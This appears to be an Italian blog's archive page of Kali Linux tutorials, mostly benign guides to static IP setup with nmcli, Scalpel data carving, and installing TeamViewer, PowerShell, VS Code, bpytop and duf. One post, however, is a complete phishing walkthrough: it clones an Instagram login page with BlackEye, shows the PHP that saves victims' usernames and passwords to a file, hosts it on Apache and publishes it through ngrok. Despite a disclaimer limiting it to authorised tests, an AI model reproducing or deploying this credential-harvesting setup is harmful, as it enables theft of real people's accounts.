Visualizzazione post con etichetta Kali Linux. Mostra tutti i post
Visualizzazione post con etichetta Kali Linux. Mostra tutti i post

lunedì 30 giugno 2025

Kali Linux: Assegnare un Indirizzo IP Statico con nmcli

Nel cuore di ogni rete moderna, sia essa domestica o aziendale, batte un sistema di identificazione fondamentale: l'indirizzo IP (Internet Protocol). Questo identificativo numerico, una sequenza di quattro numeri separati da punti (es. 192.168.1.10), è l'equivalente digitale di un indirizzo civico per ciascun dispositivo connesso, sia via cavo che Wi-Fi. La sua unicità all'interno della rete locale è cruciale per il corretto instradamento dei dati.

Generalmente è il router il responsabile principale dell'assegnazione degli IP e questa operazione avviene in automatico grazie al protocollo DHCP (Dynamic Host Configuration Protocol). Il DHCP gestisce in modo intelligente la distribuzione degli indirizzi disponibili, prevenendo conflitti e garantendo che ogni nuovo dispositivo ottenga un'identità.

Tuttavia, la natura dinamica del DHCP, che può riassegnare un IP diverso ad ogni riavvio o riconnessione del dispositivo, pur essendo efficiente per la maggior parte degli scenari, può diventare un ostacolo in situazioni specifiche. Immaginate di configurare un server, una stampante di rete, un NAS (Network Attached Storage) o qualsiasi altro servizio che deve essere accessibile in modo prevedibile e costante. In questi contesti, un indirizzo IP dinamico può causare interruzioni di servizio o difficoltà di accesso. È qui che entra in gioco l'indirizzo IP statico: un'assegnazione fissa che garantisce la raggiungibilità del dispositivo allo stesso indirizzo nel tempo. Sebbene l'IP statico possa essere gestito anche dal server DHCP tramite una "prenotazione DHCP" (nota anche come IP reservation o DHCP static lease), in questo articolo ci concentreremo su come configurare direttamente un IP statico dal client Linux, offrendo un controllo granulare e immediato.

Configurazione di un IP Statico con nmcli
Uno strumento da riga di comando utile per la gestione della rete e incluso nelle principali distribuzioni Linux è nmcli. Può essere utilizzato per creare, modificare o rimuovere connessioni di rete, nonché per configurare manualmente un indirizzo IP statico.

Per iniziare, è possibile visualizzare le connessioni di rete configurate con il comando:
nmcli connection show
o
nmcli con show
Questo mostrerà un elenco delle connessioni disponibili, comprensive dei nomi e delle interfacce di rete associate (come ad esempio eth0).
Connessioni di rete configurate
FIG 1 - Connessioni di rete configurate


Prima di procedere con la configurazione tramite nmcli bisogna disporre di alcune informazioni necessarie come l'indirizzo ip statico da assegnare, indirizzo del gateway, interfaccia di rete (in FIG 1 è eth0) e server DNS. Con tali informazioni possiamo eseguire il comando
sudo nmcli con add con-name "ip-statico" ifname eth0 type ethernet ip4 192.168.0.22/24 gw4 192.168.0.1

con-name "ip-statico": Assegna un nome descrittivo alla nuova connessione facilitandone l'identificazione.
ifname eth0: Specifica il nome dell'interfaccia di rete fisica a cui si applica questa configurazione (es. eth0).
type ethernet: Indica che si tratta di una connessione di tipo Ethernet. Per Wi-Fi, va utilizzato type wifi.
ip4 192.168.0.22/24: Imposta l'indirizzo IPv4 statico (192.168.0.22) e la subnet mask (/24 equivale a 255.255.255.0). Assicurati che l'IP scelto sia all'interno del range della rete locale.
gw4 192.168.0.1: Configura l'indirizzo del gateway predefinito per IPv4. Questo è tipicamente l'indirizzo IP del router.
Imposta IP statico
FIG 2 - Imposta IP statico


Configurato l'ip statico è possibile passare alla configurazione dei server DNS.
I server DNS (Domain Name System) sono essenziali per la risoluzione dei nomi di dominio (es. google.com in 142.250.186.206). É possibile utilizzare quelli forniti dal proprio ISP, o server DNS pubblici affidabili come quelli di Google (8.8.8.8, 8.8.4.4) o Cloudflare (1.1.1.1, 1.0.0.1):
Il comando per settare i server DNS è
nmcli con mod "ip-statico" ipv4.dns "8.8.8.8,8.8.4.4"

Imposta server DNS
FIG 3 - Imposta server DNS


Abilitare la modalità di configurazione manuale, disattivando il DHCP, con il comando
nmcli con mod "ip-statico" ipv4.method manual

Attivare la nuova connessione con
nmcli con up "ip-statico" ifname eth0
Disattivazione DHCP e attivazione connessione
FIG 4 - Disattivazione DHCP e attivazione connessione


L’assenza di messaggi di errore indica che la configurazione è avvenuta correttamente. Per confermare l’attivazione della connessione e verificarne i dettagli, si può rieseguire il comando
nmcli connection show
Nuova connessione attiva
FIG 5 - Nuova connessione attiva



Altri comandi utili per la gestione delle reti
Per controllare l’indirizzo IP attualmente assegnato al sistema, si può utilizzare
ip addr

Questo comando fornisce informazioni dettagliate sulle interfacce di rete e sugli indirizzi IP assegnati.
ip addr
FIG 6 - ip addr


Per verificare se un dispositivo è raggiungibile e attivo si può usare il comando ping 
ping <indirizzo_IP>
ad esempio
ping 192.168.0.1


Per individuare l’indirizzo del gateway predefinito (di solito il router), si utilizza:
ip r
ip r
FIG 7 - ip r







domenica 12 febbraio 2023

Linux: Data carving

Il data carving è una tecnica utilizzata per recuperare i dati da un supporto di memorizzazione, come un disco rigido o una scheda di memoria, in seguito a una cancellazione accidentale o intenzionale, oppure in caso di danneggiamento del supporto stesso. Il data carving consiste nell'analizzare l'immagine del supporto di memorizzazione per individuare i frammenti di dati ancora presenti e salvarli in una nuova posizione. Questa tecnica può essere utilizzata per recuperare file, immagini, video e altri tipi di dati ed è fondamentale anche nelle investigazioni digitali forensi.

Quando un file viene salvato su un disco rigido, viene suddiviso e scritto in contenitori logici detti cluster. Ogni cluster è composto da un certo numero di settori, che sono le unità di base di memorizzazione su un disco rigido. Il sistema operativo utilizza una File Allocation Table (FAT) o una Master File Table (MFT) per tenere traccia della posizione dei cluster sul supporto di memoria.

Ogni volta che un file viene salvato, il sistema operativo cerca una serie di cluster vuoti contigui che siano sufficienti per contenere tutti i dati del file. Una volta individuati, i cluster vengono marcati come utilizzati e i dati del file vengono scritti su di essi. Se un file è troppo grande e non ci sono cluster vuoti contigui in grado di contenerlo, viene diviso in più parti e memorizzato in cluster diversi e non contigui. Il sistema operativo utilizza la FAT o l'MFT per tenere traccia della posizione di ogni parte del file sulla memoria. In questo modo, quando si apre un file, il sistema operativo può riunire tutte le sue parti.

Quando si cancella un file questo non viene in realtà rimosso dall'hard disk; viene rimosso il suo riferimento nella struttura del file system e lo spazio occupato dal file viene classificato come spazio non allocato. Proprio sullo spazio non allocato in un sistema di storage (hard disk, pendrive, ecc) si applica il data carving per recuperare i file e catalogarli sulla base del loro header e footer (stringhe esadecimali all'inizio e fine del file). Per il riconoscimento del tipo di file si ricorre al database dei magic number (firme esadecimali). Il magic number è costituito da una serie di byte specifici (da 2 a 10 byte) solitamente posizionati all'inizio del file, che vengono utilizzati per identificarne il tipo. Ad esempio, un file JPEG avrà un magic number specifico (FF D8 FF EE) diverso da un file PNG (89 50 4E 47). Quasi tutti i formati di file sono identificati da un magic number

Data carving con Scalpel

Uno degli strumenti più utilizzati e molto apprezzato per il data carving è Scalpel (https://github.com/machn1k/Scalpel-2.0). Tale strumento è già presente in Kali Linux. Per installarlo su distribuzioni Linux derivanti da Debian è possibile utilizzare i seguenti comandi da terminale
sudo apt-get update
sudo apt-get install scalpel

Prima di avviare lo strumento è necessario andare a modificare il file di configurazione /etc/scalpel/scalpel.conf che ha tutte le righe commentate. In base alla tipologia di file che si intende recuperare è necessario andare a rimuovere il commento dalla relativa riga. 

Aprire il file di configurazione con un editor di testo. In Kali Linux è possibile utilizzare l'editor nano con il comando da terminale
sudo nano /etc/scalpel/scalpel.conf

Per recuperare un file PDF eliminato da una pendrive è necessario andare a rimuovere i commenti relativi ai tipi di file PDF (FIG 1) presenti nel file di configurazione. 
File di configurazione scalpel.conf
FIG 1 - File di configurazione scalpel.conf

Premere CTRL + X per uscire dall'editor e confermare la modifica premendo Y seguito da Invio.
Salva modifica del  file di configurazione
FIG 2 - Salva modifica del  file di configurazione


La sintassi di scalpel è la seguente
scalpel -c fileconfig.conf unità -o /percorso/file/output

Il percorso dell'output deve risiedere su un unità diversa da quella da cui si sta tentando di recuperare i dati. Per identificare la pendrive eseguire il comando
lsblk 
lsblk
FIG 3 - lsblk

Dalla FIG 3 si evince che la pendrive è stata montata come sdb1. Eseguire una finestra terminale come root ed avviare il data carving con il comando
scalpel -c /etc/scalpel/scalpel.conf /dev/sdb1 -o /home/kali/Desktop/Recover
Avvio data carving con scalpel
FIG 4 - Avvio data carving con scalpel
Il comando creerà una cartella Recover sul Desktop contenente un file audit.txt (in cui saranno elencati eventuali file recuperati e altre informazioni sul processo) e una cartella contenente i file recuperati.
Risultati del data carving di scalpel
FIG 5 - Risultati del data carving di scalpel

File audit.txt
FIG 6 - File audit.txt

File recuperati da scalpel
FIG 7 - File recuperati da scalpel


Scalpel consente di effettuare il data carving anche su immagini di dischi virtuali (VDI, Virtual Disk Image) di VirtualBox. In questo caso il comando da eseguire sarà del tipo
scalpel -c /etc/scalpel/scalpel.conf /percorso/Immagine/file.vdi -o /home/kali/Desktop/Recover




mercoledì 9 febbraio 2022

Kali Linux: Installare TeamViewer

TeamViewer è una delle piattaforme per l'accesso ed il supporto remoto più note e utilizzate. In questo breve tutorial verrà mostrato come installarlo su Kali Linux.

Per l'installazione è possibile scaricare manualmente il pacchetto Debian (.deb) dal sito www.teamviewer.com oppure, come vedremo di seguito, installarlo tramite il repository APT di TeamViewer dopo averlo aggiunto a Kali Linux. 

Il primo passo consiste nell'aggiungere il repository di TemaViewer a Kali Linux e per farlo basta eseguire il seguente comando da Terminale
echo "deb http://linux.teamviewer.com/deb stable main" | sudo tee /etc/apt/sources.list.d/teamviewer.list

Aggiornare l'elenco dei pacchetti con il comando
sudo apt update
Configurazione repository TeamViewer e aggiornamento elenco pacchetti
FIG 1 - Configurazione repository TeamViewer e aggiornamento elenco pacchetti


Installare la chiave GPG di TeamViewer
sudo apt -y install gpg ca-certificates
wget -O - https://download.teamviewer.com/download/linux/signature/TeamViewer2017.asc | sudo apt-key add -
Chiave GPG
FIG 2 - Chiave GPG


Lanciare l'installazione di TeamViewer
sudo apt update
sudo apt install teamviewer
Avvio installazione TeamViewer
FIG 3 - Avvio installazione TeamViewer

Ricercare TeamViewer utilizzando l'apposita funzione di Desktop Launcher e avviarlo oppure eseguire il comando teamviewer da Terminale
Avvio TeamViewer
FIG 4 - Avvio TeamViewer

Accettare l'EULA e cliccare su Continue.
EULA
FIG 5 - EULA

Ci ritroveremo dinanzi ad una finestra come quella mostrata in FIG 6.
TeamViewer
FIG 6 - TeamViewer








lunedì 31 gennaio 2022

Kali Linux: Rubare credenziali di accesso ad un sito Internet tramite phishing

In quest'articolo vedremo come sia semplice mettere su un sito di phishing per rubare le credenziali di un utente sprovveduto. Tali operazioni vengono eseguite anche da alcune aziende al fine di verificare se i propri impiegati abboccano alle email e ai siti di phishing. 

ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

Preparazione sito phishing

Il primo passo consiste nel clonare il sito, o almeno la pagina di autenticazione, di nostro interesse. L'operazione può essere eseguita in diversi modi, manualmente, tramite il classico comando wget, sfruttando tool come httrack, utilizzando Social-Engineer Toolkit (SET) incluso in Kali Linux, ecc.  In quest'articolo, per semplicità, verrà utilizzato il tool BlackEye che ci consentirà di raggiungere il nostro obiettivo in maniera più rapida dato che integra le pagine di logon dei siti più popolari come Instagram, Facebook, Apple, Twitter, Twitch , ecc.

Per scaricare il tool, eseguire il seguente comando da una finestra terminale
git clone https://github.com/An0nUD4Y/blackeye.git
Download BlackEye
FIG 1 - Download BlackEye
Supponiamo di essere interessati alla pagina di logon di Instagram. Visualizziamo il contenuto della cartella /home/kali/blackeye/sites/instagram. Come visibile in FIG 2 la cartella contiene 5 elementi: la sottocartella index_files, contenente immagini e altri file relativi alla pagina fake, e 4 file (index.php, ip.php, login.html, login.php)
Login Instagram
FIG 2 - Login Instagram

Apriamo il file index.php ed esaminiamo il suo contenuto
<?php
include 'ip.php';
header('Location: login.html');
exit
?>
Instagram, Index.php
FIG 3 - Instagram, Index.php
Nel codice notiamo che la prima operazione eseguita è l'inclusione del file ip.php
La funzione header() viene utilizzata per inviare un'intestazione HTTP raw e tramite Location viene specificato il nome del file da richiamare.
Eliminare dal codice la riga 2 
include 'ip.php';
che non ci interessa e salvare il file. Il suo contenuto dopo la modifica sarà:
<?php
header('Location: login.html');
exit
?>

Aprire il file login.html tramite il browser per trovarsi dinanzi ad una copia della pagina di login di Instagram. Per analizzare il funzionamento della pagina clone all'inserimento delle credenziali, attivare l'inspector premendo il tasto F12. Cliccare, con il tasto destro del mouse, sul pulsante Log in e selezionare Inspect Element
Browser, Inspect Element
FIG 4 - Browser, Inspect Element

Analizzando il codice della pagina, vediamo che il testo digitato dall'utente nel campo Phone number, username, or email verrà assegnato alla variabile chiamata username
<input type="text" class="_ph6vk _jdqpn _o716c" id="fa4e2a34ab06a" aria-describedby="" placeholder="Phone number, username, or email" aria-required="true" autocapitalize="off" autocorrect="off" maxlength="30" name="username" value="">
Allo stesso modo il contenuto del campo Password verrà assegnato alla variabile password.
<input type="password" class="_ph6vk _jdqpn _o716c" id="faa2da1ad083" aria-describedby="" placeholder="Password" aria-required="true" autocapitalize="off" autocorrect="off" name="password" value="">

Una cosa che balza subito all'occhio è che la maschera di login viene gestita con il form _3jvtb e, cliccando sul pulsante Log in, viene richiamato il file login.php
<form class="_3jvtb" action="login.php" method="POST">
Form
FIG 5 - Form

Ritorniamo alla cartella /home/kali/blackeye/sites/instagram e analizziamo il contenuto del file login.php:
<?php

file_put_contents("usernames.txt", "Account: " . $_POST['username'] . " Pass: " . $_POST['password'] . "\n", FILE_APPEND);
header('Location: https://instagram.com');
exit();
Il codice presente nel file è molto semplice. Tramite la funzione file_put_contents le variabili username e password contenenti le credenziali sottratte alla vittima tramite phishing, vengono salvate all'interno del file usernames.txt. A questo punto la funzione header reindirizzerà il browser della vittima verso il sito Instagram ufficiale (https://instagram.com).
login.php
FIG 6 - login.php

Avviare una finestra terminale come root e posizionarsi sulla cartella /home/kali/blackeye/sites/instagram con il comando
cd /home/kali/blackeye/sites/instagram
Creare il file usernames.txt eseguendo
echo Phishing data > usernames.txt
Assegnare i permessi completi con il comando
sudo chmod 777 usernames.txt 

Per pubblicare il sito fake sulla nostra macchina Linux dobbiamo spostare tutti i file in /var/www/html. Dalla stessa finestra terminale eseguire il comando
cp index_files/ -r index.php login.html login.php usernames.txt /var/www/html
Avviare il servizio Apache con il comando
service apache2 start
Copia file e avvio del servizio Apache
FIG 7 - Copia file e avvio del servizio Apache

All'interno della nostra rete locale la pagina fake sarà raggiungibile ad un indirizzo del tipo 
http://192.168.1.120/login.html 
dove 192.168.1.120 è l'indirizzo IP della nostra macchina Kali Linux. Per fare in modo che la pagina sia raggiungibile anche dall'esterno della rete locale possiamo utilizzare il servizio ngrok

Rendere il sito di phishing raggiungibile da Internet

Il servizio Ngrok consente di rendere raggiungibile i server locali, anche dietro NAT e firewall, su Internet attraverso il tunneling. Per usufruire del servizio dobbiamo registrarci al sito e scaricare il software per la nostra piattaforma.

La registrazione al sito richiede pochi istanti. Una volta cliccato su Sign up presente sulla homepage https://ngrok.com, basta digitare il nome desiderato, una password e fornire un indirizzo email valido su cui verrà inviata un'email per confermare la propria registrazione. 
Una volta eseguito il login, accedere alla sezione Your Authtoken e prendere nota del proprio authtoken

ngrok authtoken
FIG 8 - Ngrok authtoken


Da browser accedere alla pagina ufficiale del tool per il download https://ngrok.com/download.
Selezionare Linux quindi cliccando con il tasto destro del mouse su Download, copiamo il link e usiamo wget per scaricare il file. Il comando da eseguire da Terminale sarà analogo al seguente
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.tgz
sito Ngrok
FIG 9 - Sito Ngrok

Download di Ngrok
FIG 10 - Download di Ngrok

Sempre da Terminale, scompattare il file tgz scaricato con il comando
tar zxvf ngrok-stable-linux-amd64.tgz
Autenticare il proprio agent Ngrok tramite l'Authtoken utilizzando il comando
./ngrok authtoken xxxx
al posto di xxxx va indicato l'Authtoken visto nei passaggi precedenti.
Per avviare ngrok e abilitare il traffico HTTP tramite la porta 80 (quella utilizzata dal server Apache avviato precedentemente) digitare ed eseguire da terminale il comando
./ngrok http 80
Sessione Ngrok
FIG 11 - Sessione Ngrok

A questo punto, la nostra pagina fake sarà raggiungibile anche all'esterno della nostra rete locale con l'indirizzo pubblico fornito da Ngrok ed evidenziato nei campi Forwarding. In pratica viene effettuato un forward della porta e viene settato un tunnel: dalla porta 80 della nostra postazione verso l'indirizzo pubblico http://b46f-79-19-195-242.ngrok.io (FIG 10). Per fare in modo che venga visualizzata la nostra pagina fake dobbiamo aggiungere all'indirizzo il nome del file contenente la pagina. Nel nostro caso l'indirizzo completo sarà http://b46f-79-19-195-242.ngrok.io/login.html.

Quando la vittima inserirà le proprie credenziali queste verranno memorizzate all'interno del file usernames.txt
Credenziali rubate
FIG 12 - Credenziali rubate








mercoledì 26 gennaio 2022

Kali Linux: Installare PowerShell

Per installare PowerShell in Kali Linux eseguire, dalla finestra Terminale, i seguenti comandi
sudo apt update
sudo apt -y install powershell
Kali Linux, installare PowerShell
FIG 1 - Kali Linux, installare PowerShell

Al termine dell'installazione del pacchetto basterà eseguire pwsh per avviare PowerShell e trovarsi dinanzi al familiare prompt "PS".


Disinstallazione

Per disinstallare PowerShell basta eseguire dalla finestra Terminale il comando
sudo apt-get remove powershell
Per rimuovere PowerShell e le sue dipendenze il comando da eseguire è
sudo apt-get -y autoremove powershell





sabato 22 gennaio 2022

Kali Linux: Installare Visual Studio Code

Visual Studio Code è un editor di codice sorgente gratuito sviluppato da Microsoft per i sistemi Windows, Linux e macOS. Combina la semplicità di un editor di codice sorgente con potenti strumenti di sviluppo, come il completamento del codice IntelliSense e il debug. Si tratta di uno strumento molto apprezzato tra gli sviluppatori e in questo breve articolo vedremo come installarlo in ambiente Kali Linux. Per l'installazione utilizzeremo il repository ufficiale APT prima, però, aggiorniamo il repository e installiamo il package indicato di seguito
sudo apt update
sudo apt install curl gpg software-properties-common apt-transport-https
Aggiornamento repository e installazione package
FIG 1 - Aggiornamento repository e installazione package


Importiamo la chiave Microsoft GPG in Linux con il comando
curl -sSL https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -

Il prossimo passo consiste nell'aggiungere il repository APT per Visual Studio Code a Kali Linux
echo "deb [arch=amd64] https://packages.microsoft.com/repos/vscode stable main" | sudo tee /etc/apt/sources.list.d/vscode.list
Aggiungere repository per Visual Studio Code
FIG 2 - Aggiungere repository per Visual Studio Code

Infine avviare l'installazione con i comandi
sudo apt update
sudo apt install code
Installazione Visual Studio Code
FIG 3 - Installazione Visual Studio Code

L'installazione non richiede molto tempo ma dipende dalla velocità di connessione ad Internet. Terminata l'installazione eseguire Visual Studio Code con il comando
code
Visual Studio Code per Kali Linux
FIG 4 - Visual Studio Code per Kali Linux








domenica 9 gennaio 2022

Kali Linux: Monitoraggio di sistema tramite Bpytop

Il monitoraggio di sistema è un operazione importante sia per l'amministratore del sistema che per gli utenti. Sapere quali sono i processi in esecuzione, le risorse della CPU impegnate e la quantità di memoria utilizzata può essere fondamentale per individuare colli di bottiglia, problemi sul sistema o relativi al software in esecuzione. Un metodo veloce per ottenere tali informazioni è quello di eseguire, da una finestra terminale, il comando top che visualizza dettagli importanti sui task in esecuzione. Come spesso capita con gli strumenti a riga di comando in Linux, la rappresentazione grafica dell'output non aiuta nell'interpretazione dei dati. 
top
FIG 1 - top
Se si desidera un'esperienza più grafica e immediata è possibile adottare Bpytop come strumento di monitoraggio. Bpytop visualizza più informazioni rispetto a top inoltre la rappresentazione grafica dell'utilizzo della CPU e di tutti i core, gli istogrammi colorati relativi all'utilizzo della memoria e dello spazio su disco rendono la lettura dei dati più immediata e semplice. L'estetica, la personalizzazione, la possibilità di filtrare i dati e il supporto per il mouse rendono tale strumento adatto sia all'utente inesperto che a quelli avanzati.

Prima di poter utilizzare tale strumento nella distribuzione Kali Linux va installato. Per l'installazione tramite pip3 basta eseguire i seguenti comandi da terminale
sudo apt install python3-pip
sudo pip3 install bpytop
Install python3-pip
FIG 2 - Install python3-pip

Install bpytop
FIG 3 - Install bpytop


Terminata l'installazione, per eseguire il tool digitare il comando
bpytop 

bpytop
FIG 4 - bpytop


Per ulteriori informazioni e per la documentazione di tale strumento è possibile consultare la pagina https://github.com/aristocratos/bpytop.






giovedì 16 dicembre 2021

Kali Linux: Controllare lo spazio su disco da terminale

Per controllare l'utilizzo dello spazio su disco da terminale ci sono due comandi classici disponibili per ogni distribuzione Linux: du e df.

Il comando du (Disk Usage) visualizza lo spazio utilizzato dai file o da una directory. Ad esempio, per sapere lo spazio utilizzato dalla directory corrente è possibile utilizzare il comando
du -sh
dove l'opzione -s riassume lo spazio che una directory sta utilizzando e l'opzione -h fornisce un output "Human-readable".
Disk Usage
FIG 1 - Disk Usage


Il comando df (Disk Free) viene usato per controllare lo spazio libero su disco. Tramite df è possibile visualizzare le statistiche sulla quantità di spazio libero su disco, sul file system specificato o sul file system contenente il file indicato. Digitando da terminale il seguente comando
df -h
verranno visualizzate le statistiche sulla quantità di spazio libero/utilizzato su disco.
Disk Free
FIG 2 - Disk Free

L'output fornito dai comandi du e df non è facile da leggere. Una valida alternativa ai due comandi integrati in Linux è duf (Disk Usage/Free), un tool che di fatto è il coltellino svizzero degli strumenti di visualizzazione dell’uso dei dischi basato sulla shell.
Per installare tale strumento in Kali Linux, eseguire da una finestra terminale  il comando
sudo apt install duf

Terminata l'installazione basta eseguire il tool con il comando da terminale
duf
per visualizzare in una modalità più User-friendly, le statistiche relative allo spazio su disco.
duf, Disk Usage/Free
FIG 3 - duf, Disk Usage/Free

Per visualizzare tutti i comandi/parametri disponibili in duf eseguire
duf --help







mercoledì 8 dicembre 2021

Kali Linux: Previsioni meteo nella shell con Curl

Per avere informazioni sul meteo basta consultare uno dei numerosi siti di previsioni, app o assistenti personali. In questo articolo verrà mostrato come recuperare tali informazioni in ambiente Linux senza uscire dalla shell e utilizzando lo strumento Curl.

Curl è uno strumento da terminale molto sofisticato e utilizzato per ricevere o inviare dati usando la sintassi URL. Viene spesso utilizzato per gestire le connessioni SSL, post HTTP e per caricare dati in FTP. Grazie a Igor Chubin e al suo sito wttr.in è possibile utilizzare Curl anche per visualizzare le previsioni meteo all'interno della shell.

Eseguendo il seguente comando dalla finestra terminale
curl wttr.in
verranno visualizzate le previsioni meteo dei prossimi tre giorni della nostra area (identificata in base all'indirizzo IP). Come visibile in FIG 1, per ciascun giorno viene fornita la previsione divisa in quattro fasce orarie: mattina, pomeriggio, sera e notte. Vengono visualizzate, inoltre, informazioni relative alla nuvolosità, all'escursione termica, velocità del vento ed eventuali millimetri di pioggia prevista. Le informazioni sono ben ordinate e arricchite da un'illustrazione ASCII.
Previsioni meteo
FIG 1 - Previsioni meteo

Per conoscere le previsioni meteo di un'altra città basta far seguire all'URL di base il suo nome. Ad esempio, per conoscere le previsioni meteo di Londra basta eseguire
curl wttr.in/London
Previsione meteo di altra città
FIG 2 - Previsione meteo di altra città

Se dobbiamo prendere l'aereo e vogliamo conoscere le previsioni meteo su un determinato aeroporto basta far seguire all'URL base il relativo IATA airport code.
Uno IATA airport code (noto anche come IATA location identifier o IATA station code) è un geocodice di tre lettere, definito dalla International Air Transport Association (IATA), che identifica molti aeroporti e aree metropolitane in tutto il mondo. Ad esempio per conoscere le previsioni relative all'aeroporto di Fiumicino (Roma) basta digitare il comando
curl wttr.in/FCO
per l'aeroporto John F. Kennedy di New York il comando diventa
curl wttr.in/JFK
Previsione meteo aeroporto Fiumicino (Roma)
FIG 3 - Previsione meteo aeroporto Fiumicino (Roma)

Tramite Curl e wttr.in è possibile visualizzare anche le informazioni relative alle fasi della luna. Per scoprire in che fase si trova la luna nella data odierna eseguire il comando
curl wttr.in/moon
Fase lunare
FIG 4 - Fase lunare
Per conoscere la fase lunare di un determinato giorno, aggiungere all'URL la data desiderata nel formato @anno-mese-giorno
curl wttr.in/moon@2021-12-25
Fase lunare in uno specifico giorno
FIG 5 - Fase lunare in uno specifico giorno


Per maggiori informazioni sull'utilizzo di wttr.in è possibile visualizzare la pagina help online tramite il comando
curl wttr.in/:help
Pagina Help di wttr.in
FIG 6 - Pagina Help di wttr.in